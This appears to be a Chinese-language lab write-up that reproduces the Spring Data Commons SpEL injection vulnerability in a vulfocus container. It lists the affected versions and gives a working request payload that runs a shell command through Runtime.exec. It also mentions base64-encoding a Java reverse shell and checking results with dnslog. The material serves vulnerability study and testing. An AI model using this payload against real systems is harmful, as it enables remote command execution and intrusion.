漏洞描述

<aside> ❓ Spring Data是一个用于简化数据库访问,并支持云服务的开源框架,Spring Data Commons是Spring Data下所有子项目共享的基础框架。Spring Data Commons 在2.0.5及以前版本中,存在一处SpEL表达式注入漏洞,攻击者可以注入恶意SpEL表达式以执行任意命令。

</aside>

影响版本

Spring Data Commons 1.13 - 1.13.10 (Ingalls SR10)
Spring Data REST 2.6 - 2.6.10 (Ingalls SR10)
Spring Data Commons 2.0 to 2.0.5 (Kay SR5)
Spring Data REST 3.0 - 3.0.5 (Kay SR5)

漏洞复现

启动vulfocus,下载镜像并启动,端口信息如下:

Untitled

打开:http://192.168.10.214:9329/,默认界面以及图标如下。

Untitled

在url加上users,跳转到用户注册界面。http://192.168.10.214:9329/users

Untitled

注册并抓包。

Untitled

添加如下内容:

username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/success")]=&password=&repeatedPassword=

⚠️  java反弹的shell内容,需要进行base64编码。

编码网址:

https://www.jackson-t.ca/runtime-exec-payloads.html

首先使用dnslog来进行验证。

Untitled